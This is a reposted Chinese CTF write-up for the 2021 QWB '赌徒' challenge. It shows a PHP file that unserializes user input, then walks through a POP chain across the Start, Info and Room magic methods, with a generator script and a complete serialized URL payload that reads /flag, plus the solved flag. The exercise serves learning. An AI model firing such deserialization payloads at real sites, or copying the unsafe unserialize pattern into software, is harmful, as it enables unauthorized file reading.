ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

2021强网杯 [强网先锋]赌徒

2021-06-14 20:04:45  阅读:1053  来源: 互联网

标签:__ function Room hint 强网 强网杯 2021 filename public


2021强网杯 [强网先锋]赌徒

考点: 构造pop链

进去就一句话

I think you need /etc/hint . Before this you need to see the source code

看了看源码,看了看请求和响应,啥也没看出来

老规矩,上dirsearch

一个www.zip的备份文件,下载下来后里面有一个index.php的源码文件,源码如下:

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';
	
    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';
	
    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';
	
    public function __get($name){
        $function = $this->a;
        return $function();
    }
	
    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}

?>

从代码中很容易的可以看出,给'hello'传参,然后进行序列化攻击。

现在问题来了,代码中一共有3个类,我们需要从哪一个类开始下手呢?

通过对魔法方法和序列化的的学习,我们只能从Start这个类开始下手,当对这个该类进行反序列化时,会自动执行wakeup()方法,而这3个类中只有Start类存在这个方法

再继续观察发现,我们最终需要达到的目的地是Room类的Get_hint()方法

构造payload:

<?php
include "index.php";
$a = new Start();			// __wakeup()进入,
$a->name = new Info();		// Info的__toString()进入
$a->name->file["filename"] = new Room();	// Room的__get()进入
$a->name->file["filename"]->a= new Room();	// Room的__invoke()进入
echo "<br>";
echo serialize($a);
?>

  • payload如下:

?hello=O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"%00Info%00phonenumber";i:123123;s:7:"promise";s:15:"I will not !!!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:5:"/flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}

PS:利用了魔术方法的特性成功进行了序列化攻击,实现了在一个类跳转到另一个类并执行方法!

image

base64解密得:

image

flag{668c5887-b4ae-4853-a3b4-e50e9c9e1b3e}

标签:__,function,Room,hint,强网,强网杯,2021,filename,public
来源: https://www.cnblogs.com/seizer/p/14883148.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有